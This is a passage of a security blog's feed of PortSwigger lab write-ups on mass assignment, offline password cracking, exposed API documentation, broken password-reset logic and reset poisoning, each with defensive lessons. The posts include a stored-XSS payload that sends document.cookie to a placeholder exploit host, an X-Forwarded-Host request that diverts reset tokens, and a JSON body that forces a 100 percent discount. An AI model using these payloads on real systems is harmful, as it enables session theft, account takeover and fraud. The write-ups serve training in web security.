src="/images/portswigger/api-testing/lab-exploiting-mass-assignment-vulnerability/step-3.png" alt="The baseline `POST /api/checkout` contains only `chosen_products` and redirects with `INSUFFICIENT_FUNDS`."><figcaption>The baseline `POST /api/checkout` contains only `chosen_products` and redirects with `INSUFFICIENT_FUNDS`.</figcaption></figure><p>Changing the method to <code>GET</code> for <code>/api/checkout</code> returned the serialized cart state. In addition to the selected products, the response contained <code>chosen_discount</code> with a <code>percentage</code> value of <code>0</code>.</p><figure><img src="/images/portswigger/api-testing/lab-exploiting-mass-assignment-vulnerability/step-4.png" alt="`GET /api/checkout` discloses the writable-looking object shape `chosen_discount.percentage` with a current value of `0`."><figcaption>`GET /api/checkout` discloses the writable-looking object shape `chosen_discount.percentage` with a current value of `0`.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>The server treats a client-supplied object as authoritative without restricting which properties may be bound to the checkout model. The read response discloses a server-controlled field, and the write operation accepts that same field. This combination lets the client assign a business-sensitive value that should be derived and enforced exclusively on the server.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><ol><li>Add the jacket to the cart and attempt checkout once to capture <code>POST /api/checkout</code>.</li><li>Send the request to Repeater and issue <code>GET /api/checkout</code> to inspect the returned object.</li><li>Copy the disclosed property shape into the original checkout JSON and set its percentage to <code>100</code>:</li></ol><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;chosen_products&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span><span class="string">&quot;...&quot;</span><span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;chosen_discount&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;percentage&quot;</span><span class="punctuation">:</span> <span class="number">100</span></span><br><span class="line">  <span class="punctuation">&#125;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><ol start="4"><li>Submit the modified <code>POST /api/checkout</code> request. The server accepts the client-selected discount and creates the order.</li></ol><figure><img src="/images/portswigger/api-testing/lab-exploiting-mass-assignment-vulnerability/step-5.png" alt="The modified checkout assigns `chosen_discount.percentage` to `100`; the server responds `201 Created` and confirms the order."><figcaption>The modified checkout assigns `chosen_discount.percentage` to `100`; the server responds `201 Created` and confirms the order.</figcaption></figure><figure><img src="/images/portswigger/api-testing/lab-exploiting-mass-assignment-vulnerability/step-6.png" alt="The Academy marks the mass-assignment checkout lab as solved."><figcaption>The Academy marks the mass-assignment checkout lab as solved.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The checkout response changes from insufficient funds to <code>201 Created</code>, and the lab records the jacket purchase. This verifies that the additional JSON property, rather than a legitimate coupon workflow, controlled the final price.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>Mass assignment can expose any writable model property—not only discounts. Account roles, verification state, ownership identifiers, balances, and workflow flags can become security boundaries if blindly accepted from request bodies.</p><ul><li>Define request DTOs or explicit allow-lists for every write operation.</li><li>Reject unknown properties instead of silently binding them.</li><li>Calculate prices and discounts server-side from trusted product and promotion data.</li><li>Keep response models separate from writable request models; do not assume a field is safe to accept merely because it is safe to display.</li><li>Add authorization and invariant checks after binding and before persistence.</li></ul><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/api-testing/lab-exploiting-mass-assignment-vulnerability">PortSwigger lab: Exploiting a mass assignment vulnerability</a></li><li><a href="https://portswigger.net/web-security/api-testing#mass-assignment-vulnerabilities">PortSwigger: Mass assignment vulnerabilities</a></li><li><a href="https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html">OWASP Mass Assignment Cheat Sheet</a></li></ul><h2 id="Provenance"><a href="#Provenance" class="headerlink" title="Provenance"></a>Provenance</h2><p>Adapted and rewritten in English from the private migration source declared in the front matter. Technical observations and screenshots are retained from that authorized PortSwigger lab session; no behavior beyond the source evidence is asserted.</p>]]></content>
    
    
    <summary type="html">A PortSwigger API testing lab writeup showing how a disclosed checkout property can be submitted to trigger an unauthorized 100 percent discount.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="API Testing" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/API-Testing/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="api-security" scheme="https://blog.nhhoang.io.vn/tags/api-security/"/>
    
  </entry>
  
  <entry>
    <title>Offline password cracking</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-offline-password-cracking/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-offline-password-cracking/</id>
    <published>2026-07-10T20:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.494Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>An injection point exposes a victim persistent-login cookie, which can then be analyzed away from the application to recover a weak password.</p><figure><img src="/images/portswigger/authentication/lab-offline-password-cracking/step-1.png" alt="The offline password-cracking brief states that Carlos&#x27;s persistent cookie contains a password hash and that a comment XSS can be used to obtain it."><figcaption>The offline password-cracking brief states that Carlos's persistent cookie contains a password hash and that a comment XSS can be used to obtain it.</figcaption></figure><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>The supplied credentials, candidate lists, email client, and exploit server are used only inside this Academy instance to reproduce the authentication-flow evidence shown below.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>A stored comment script can read the non-HttpOnly persistent cookie. The captured value decodes to <code>carlos:[md5-digest]</code>; the unsalted digest cracks to <code>onceuponatime</code> without further login requests.</p><figure><img src="/images/portswigger/authentication/lab-offline-password-cracking/step-2.png" alt="For offline password cracking, Burp history highlights a request carrying Wiener&#x27;s `stay-logged-in` cookie, establishing the persistent credential available to page scripts."><figcaption>For offline password cracking, Burp history highlights a request carrying Wiener's `stay-logged-in` cookie, establishing the persistent credential available to page scripts.</figcaption></figure><figure><img src="/images/portswigger/authentication/lab-offline-password-cracking/step-3.png" alt="Base64 decoding the cookie produces `wiener:[md5-digest]`, revealing the username-and-hash structure."><figcaption>Base64 decoding the cookie produces `wiener:[md5-digest]`, revealing the username-and-hash structure.</figcaption></figure><figure><img src="/images/portswigger/authentication/lab-offline-password-cracking/step-4.png" alt="The known password `peter` maps to the decoded digest, confirming that the cookie stores an unsalted MD5 password hash."><figcaption>The known password `peter` maps to the decoded digest, confirming that the cookie stores an unsalted MD5 password hash.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>Credential-derived persistent tokens allow offline verification and remain dangerous even when the online login endpoint is rate-limited.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>Post the cookie-exfiltration script in the lab comment form, read Carlos’s value from the exploit-server log, Base64-decode it, and crack the MD5 component. Sign in with <code>carlos:onceuponatime</code> and use the lab’s delete-account control.</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;script&gt;fetch(&quot;https://EXPLOIT/?c=&quot;+document.cookie)&lt;/script&gt;</span><br></pre></td></tr></table></figure><figure><img src="/images/portswigger/authentication/lab-offline-password-cracking/step-5.png" alt="The comment form contains a script that sends `document.cookie` to the lab exploit server when the stored comment is viewed."><figcaption>The comment form contains a script that sends `document.cookie` to the lab exploit server when the stored comment is viewed.</figcaption></figure><figure><img src="/images/portswigger/authentication/lab-offline-password-cracking/step-6.png" alt="The exploit-server access log records a request whose query string contains Carlos&#x27;s stolen `stay-logged-in` cookie."><figcaption>The exploit-server access log records a request whose query string contains Carlos's stolen `stay-logged-in` cookie.</figcaption></figure><figure><img src="/images/portswigger/authentication/lab-offline-password-cracking/step-7.png" alt="Decoding the captured value yields `carlos:[md5-digest]`, separating the victim username from the crackable digest."><figcaption>Decoding the captured value yields `carlos:[md5-digest]`, separating the victim username from the crackable digest.</figcaption></figure><figure><img src="/images/portswigger/authentication/lab-offline-password-cracking/step-8.png" alt="The hash lookup maps the captured MD5 digest to `onceuponatime`, recovering the Carlos password offline."><figcaption>The hash lookup maps the captured MD5 digest to `onceuponatime`, recovering the Carlos password offline.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The final capture shows the Academy marking the offline password cracking exercise as solved after the documented request sequence. No testing was performed outside the isolated lab.</p><figure><img src="/images/portswigger/authentication/lab-offline-password-cracking/step-9.png" alt="The Academy displays the solved banner after Carlos is authenticated with the recovered password and the account is deleted."><figcaption>The Academy displays the solved banner after Carlos is authenticated with the recovered password and the account is deleted.</figcaption></figure><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>Authentication controls must bind identity, challenge state, reset tokens, and retry counters to server-side transactions. Return uniform failures, rate-limit by both account and trusted client signals, and use random revocable persistent-session tokens rather than credential-derived values.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/authentication/other-mechanisms/lab-offline-password-cracking">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li></ul>]]></content>
    
    
    <summary type="html">An injection point exposes a victim persistent-login cookie, which can then be analyzed away from the application to recover a weak password.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="Authentication" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/Authentication/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="authentication" scheme="https://blog.nhhoang.io.vn/tags/authentication/"/>
    
  </entry>
  
  <entry>
    <title>Exploiting an API Endpoint Discovered Through Exposed Documentation</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-exploiting-api-endpoint-using-documentation/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-exploiting-api-endpoint-using-documentation/</id>
    <published>2026-07-10T17:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.494Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough applies only to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>The application exposes interactive API documentation at <code>/api</code>. The documentation reveals a user-deletion operation, and the backend allows the authenticated <code>wiener</code> account to delete the separate <code>carlos</code> account without an adequate authorization check.</p><figure><img src="/images/portswigger/api-testing/lab-exploiting-api-endpoint-using-documentation/step-1.png" alt="The lab requires finding documentation at `GET /api` and deleting `carlos` while authenticated as `wiener`."><figcaption>The lab requires finding documentation at `GET /api` and deleting `carlos` while authenticated as `wiener`.</figcaption></figure><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Sign in with the supplied <code>wiener:peter</code> credentials, discover the API documentation, and use the documented interface to delete <code>carlos</code>.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>Updating the email address on the account page generated API traffic visible in Burp. The browser workflow reached <code>PATCH /api/user/wiener</code>, establishing both the <code>/api</code> prefix and the resource pattern.</p><figure><img src="/images/portswigger/api-testing/lab-exploiting-api-endpoint-using-documentation/step-2.png" alt="The `wiener` account page exposes an email update action suitable for capturing API traffic."><figcaption>The `wiener` account page exposes an email update action suitable for capturing API traffic.</figcaption></figure><figure><img src="/images/portswigger/api-testing/lab-exploiting-api-endpoint-using-documentation/step-3.png" alt="Burp records the authenticated account workflow preceding `PATCH /api/user/wiener`."><figcaption>Burp records the authenticated account workflow preceding `PATCH /api/user/wiener`.</figcaption></figure><figure><img src="/images/portswigger/api-testing/lab-exploiting-api-endpoint-using-documentation/step-4.png" alt="The browser confirms that the email update to `test@example.com` succeeded."><figcaption>The browser confirms that the email update to `test@example.com` succeeded.</figcaption></figure><figure><img src="/images/portswigger/api-testing/lab-exploiting-api-endpoint-using-documentation/step-5.png" alt="`PATCH /api/user/wiener` returns `200 OK` with the updated user JSON, revealing the API resource pattern."><figcaption>`PATCH /api/user/wiener` returns `200 OK` with the updated user JSON, revealing the API resource pattern.</figcaption></figure><figure><img src="/images/portswigger/api-testing/lab-exploiting-api-endpoint-using-documentation/step-6.png" alt="The captured `PATCH /api/user/wiener` request is moved to Repeater for parent-path discovery."><figcaption>The captured `PATCH /api/user/wiener` request is moved to Repeater for parent-path discovery.</figcaption></figure><p>Testing parent paths in Repeater showed that <code>/api/user</code> was not a valid collection route, while <code>GET /api</code> returned HTML for an interactive documentation page.</p><figure><img src="/images/portswigger/api-testing/lab-exploiting-api-endpoint-using-documentation/step-7.png" alt="Removing the username from `PATCH /api/user/wiener` produces `400 Malformed URL`, showing that the route requires an identifier."><figcaption>Removing the username from `PATCH /api/user/wiener` produces `400 Malformed URL`, showing that the route requires an identifier.</figcaption></figure><figure><img src="/images/portswigger/api-testing/lab-exploiting-api-endpoint-using-documentation/step-8.png" alt="Changing the collection probe to `GET /api/user` still returns the identifier error."><figcaption>Changing the collection probe to `GET /api/user` still returns the identifier error.</figcaption></figure><figure><img src="/images/portswigger/api-testing/lab-exploiting-api-endpoint-using-documentation/step-9.png" alt="`GET /api` returns `200 OK` with HTML, confirming an exposed documentation page at the API root."><figcaption>`GET /api` returns `200 OK` with HTML, confirming an exposed documentation page at the API root.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>Two conditions combine here. First, production-accessible documentation discloses operations and parameter formats that the main interface does not advertise. Second, the documented <code>DELETE /api/user/&#123;username&#125;</code> handler accepts a username from the path without adequately ensuring that the current session may delete that account. Documentation exposure accelerates discovery; missing object-level authorization enables the destructive action.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><ol><li>Log in as <code>wiener</code> and update the email address while Burp records traffic.</li><li>Send <code>PATCH /api/user/wiener</code> to Repeater and progressively test the parent paths.</li><li>Request <code>GET /api</code> and open the returned interactive documentation in the browser.</li><li>Locate <code>DELETE /api/user/&#123;username&#125;</code>, enter <code>carlos</code>, and execute the documented operation.</li></ol><figure><img src="/images/portswigger/api-testing/lab-exploiting-api-endpoint-using-documentation/step-10.png" alt="The documentation enumerates `DELETE /api/user/{username}` alongside the read and email-update operations."><figcaption>The documentation enumerates `DELETE /api/user/{username}` alongside the read and email-update operations.</figcaption></figure><figure><img src="/images/portswigger/api-testing/lab-exploiting-api-endpoint-using-documentation/step-11.png" alt="The documentation toolkit builds `DELETE /api/user/carlos` from the supplied username."><figcaption>The documentation toolkit builds `DELETE /api/user/carlos` from the supplied username.</figcaption></figure><figure><img src="/images/portswigger/api-testing/lab-exploiting-api-endpoint-using-documentation/step-12.png" alt="`DELETE /api/user/carlos` returns `200` with `{&quot;status&quot;:&quot;User deleted&quot;}`, confirming the unauthorized deletion."><figcaption>`DELETE /api/user/carlos` returns `200` with `{"status":"User deleted"}`, confirming the unauthorized deletion.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The delete operation returns successfully and the Academy marks the lab solved. The request is performed in <code>wiener</code>‘s session but targets <code>carlos</code>, demonstrating that authentication alone did not enforce permission over the selected user object.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>An equivalent flaw in a real service could let ordinary users destroy or modify other accounts. Exposed documentation also reduces the effort required to inventory sensitive or legacy operations.</p><ul><li>Enforce object-level authorization on every request, including destructive endpoints.</li><li>Derive self-service account identity from the authenticated principal where possible rather than a client-controlled path value.</li><li>Restrict administrative deletion to explicitly authorized roles and record auditable events.</li><li>Remove, authenticate, or network-restrict interactive documentation in production according to operational need.</li><li>Maintain an accurate API inventory and test documented and undocumented versions consistently.</li></ul><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/api-testing/lab-exploiting-api-endpoint-using-documentation">PortSwigger lab: Exploiting an API endpoint using documentation</a></li><li><a href="https://portswigger.net/web-security/api-testing">PortSwigger: API testing</a></li><li><a href="https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/">OWASP API1:2023 Broken Object Level Authorization</a></li><li><a href="https://owasp.org/API-Security/editions/2023/en/0xa9-improper-inventory-management/">OWASP API9:2023 Improper Inventory Management</a></li></ul><h2 id="Provenance"><a href="#Provenance" class="headerlink" title="Provenance"></a>Provenance</h2><p>Adapted and rewritten in English from the private migration source declared in the front matter. Technical observations and screenshots are retained from that authorized PortSwigger lab session; no behavior beyond the source evidence is asserted.</p>]]></content>
    
    
    <summary type="html">A PortSwigger API testing lab writeup on discovering interactive API documentation and using an insufficiently authorized delete endpoint.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="API Testing" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/API-Testing/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="api-security" scheme="https://blog.nhhoang.io.vn/tags/api-security/"/>
    
  </entry>
  
  <entry>
    <title>Password reset broken logic</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-password-reset-broken-logic/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-password-reset-broken-logic/</id>
    <published>2026-07-10T17:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.494Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>The reset workflow accepts a valid reset page but does not reliably bind the submitted new password to the account that requested the reset.</p><figure><img src="/images/portswigger/authentication/lab-password-reset-broken-logic/step-1.png" alt="The Academy brief names Carlos as the victim and requires resetting his password before opening his My Account page."><figcaption>The Academy brief names Carlos as the victim and requires resetting his password before opening his My Account page.</figcaption></figure><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>The supplied credentials, candidate lists, email client, and exploit server are used only inside this Academy instance to reproduce the authentication-flow evidence shown below.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>The final reset request carries both a valid token and a separate <code>username</code> body field. Changing that field from Wiener to Carlos while retaining Wiener’s token resets Carlos’s password.</p><figure><img src="/images/portswigger/authentication/lab-password-reset-broken-logic/step-2.png" alt="At `/my-account?id=wiener`, the authenticated page for Wiener establishes the attacker-controlled account used to request a legitimate reset token."><figcaption>At `/my-account?id=wiener`, the authenticated page for Wiener establishes the attacker-controlled account used to request a legitimate reset token.</figcaption></figure><figure><img src="/images/portswigger/authentication/lab-password-reset-broken-logic/step-3.png" alt="The forgot-password form is filled with Wiener&#x27;s email address, initiating a reset for the controlled account."><figcaption>The forgot-password form is filled with Wiener's email address, initiating a reset for the controlled account.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>A reset token must be tied server-side to one account, purpose, and expiry; user-controlled identity fields cannot decide the reset target.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>Request and open a reset link for Wiener, intercept the final password submission, change only <code>username=wiener</code> to <code>username=carlos</code>, and submit. The redirect is followed by a successful Carlos login with the chosen password.</p><figure><img src="/images/portswigger/authentication/lab-password-reset-broken-logic/step-4.png" alt="The email client shows a reset link containing a `temp-forgot-password-token` issued for Wiener."><figcaption>The email client shows a reset link containing a `temp-forgot-password-token` issued for Wiener.</figcaption></figure><figure><img src="/images/portswigger/authentication/lab-password-reset-broken-logic/step-5.png" alt="Opening that link displays the new-password and confirmation fields, showing the token has reached the final reset form."><figcaption>Opening that link displays the new-password and confirmation fields, showing the token has reached the final reset form.</figcaption></figure><figure><img src="/images/portswigger/authentication/lab-password-reset-broken-logic/step-6.png" alt="Burp history shows the reset submission includes both the URL token and a separate body field `username=wiener`."><figcaption>Burp history shows the reset submission includes both the URL token and a separate body field `username=wiener`.</figcaption></figure><figure><img src="/images/portswigger/authentication/lab-password-reset-broken-logic/step-7.png" alt="The `POST /forgot-password` reset request retains the valid token issued for Wiener but changes the body to `username=carlos` and receives a `302 Found` response."><figcaption>The `POST /forgot-password` reset request retains the valid token issued for Wiener but changes the body to `username=carlos` and receives a `302 Found` response.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The final capture shows the Academy marking the password reset broken logic exercise as solved after the documented request sequence. No testing was performed outside the isolated lab.</p><figure><img src="/images/portswigger/authentication/lab-password-reset-broken-logic/step-8.png" alt="The `/my-account?id=carlos` result is the account page for Carlos, displayed after login with the newly assigned password, confirming the token was not bound to its original username."><figcaption>The `/my-account?id=carlos` result is the account page for Carlos, displayed after login with the newly assigned password, confirming the token was not bound to its original username.</figcaption></figure><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>Authentication controls must bind identity, challenge state, reset tokens, and retry counters to server-side transactions. Return uniform failures, rate-limit by both account and trusted client signals, and use random revocable persistent-session tokens rather than credential-derived values.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/authentication/other-mechanisms/lab-password-reset-broken-logic">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li></ul>]]></content>
    
    
    <summary type="html">The reset workflow accepts a valid reset page but does not reliably bind the submitted new password to the account that requested the reset.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="Authentication" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/Authentication/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="authentication" scheme="https://blog.nhhoang.io.vn/tags/authentication/"/>
    
  </entry>
  
  <entry>
    <title>Password reset poisoning via middleware</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-password-reset-poisoning-via-middleware/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-password-reset-poisoning-via-middleware/</id>
    <published>2026-07-10T14:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.494Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>The password-reset link is built using attacker-influenced host metadata. The lab uses that behavior to redirect the reset token to the exploit server.</p><figure><img src="/images/portswigger/authentication/lab-password-reset-poisoning-via-middleware/step-1.png" alt="The Academy brief states that Carlos follows links in received email and that the supplied Wiener account can inspect normal reset messages."><figcaption>The Academy brief states that Carlos follows links in received email and that the supplied Wiener account can inspect normal reset messages.</figcaption></figure><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>The supplied credentials, candidate lists, email client, and exploit server are used only inside this Academy instance to reproduce the authentication-flow evidence shown below.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>The reset service accepts <code>X-Forwarded-Host</code> when constructing the emailed URL. A reset request for Carlos using the exploit-server host sends his token to that server when he follows the link.</p><figure><img src="/images/portswigger/authentication/lab-password-reset-poisoning-via-middleware/step-2.png" alt="In the `/forgot-password` reset-poisoning baseline, the email for Wiener contains a normal password-reset URL whose host is the Academy lab and whose query carries a reset token."><figcaption>In the `/forgot-password` reset-poisoning baseline, the email for Wiener contains a normal password-reset URL whose host is the Academy lab and whose query carries a reset token.</figcaption></figure><figure><img src="/images/portswigger/authentication/lab-password-reset-poisoning-via-middleware/step-3.png" alt="The password-reset form reached from the email link displays matching new-password and confirmation fields."><figcaption>The password-reset form reached from the email link displays matching new-password and confirmation fields.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>Trusting unvalidated forwarding or host headers when constructing security links lets an attacker choose where sensitive reset URLs point.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>Confirm the normal Wiener reset email, then submit Carlos’s forgot-password request with the exploit server in <code>X-Forwarded-Host</code>. Read the token from the exploit-server access log, place it in the real lab reset URL, set a new password, and sign in as Carlos.</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">POST /forgot-password HTTP/2</span><br><span class="line">Host: LAB</span><br><span class="line">X-Forwarded-Host: exploit-0a420...exploit-server.net</span><br><span class="line"></span><br><span class="line">username=carlos</span><br></pre></td></tr></table></figure><figure><img src="/images/portswigger/authentication/lab-password-reset-poisoning-via-middleware/step-4.png" alt="A `POST /forgot-password` request with `X-Forwarded-Host` set to the exploit server receives `200 OK`, showing middleware accepts the alternate host metadata."><figcaption>A `POST /forgot-password` request with `X-Forwarded-Host` set to the exploit server receives `200 OK`, showing middleware accepts the alternate host metadata.</figcaption></figure><figure><img src="/images/portswigger/authentication/lab-password-reset-poisoning-via-middleware/step-5.png" alt="The exploit-server log records Carlos requesting `/forgot-password?temp-forgot-password-token=...`, exposing the token from the poisoned email link."><figcaption>The exploit-server log records Carlos requesting `/forgot-password?temp-forgot-password-token=...`, exposing the token from the poisoned email link.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The final capture shows the Academy marking the password reset poisoning via middleware exercise as solved after the documented request sequence. No testing was performed outside the isolated lab.</p><figure><img src="/images/portswigger/authentication/lab-password-reset-poisoning-via-middleware/step-6.png" alt="The solved banner appears above Carlos&#x27;s My Account page after the captured token is used on the real lab host and the new password is submitted."><figcaption>The solved banner appears above Carlos's My Account page after the captured token is used on the real lab host and the new password is submitted.</figcaption></figure><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>Authentication controls must bind identity, challenge state, reset tokens, and retry counters to server-side transactions. Return uniform failures, rate-limit by both account and trusted client signals, and use random revocable persistent-session tokens rather than credential-derived values.</p><h2 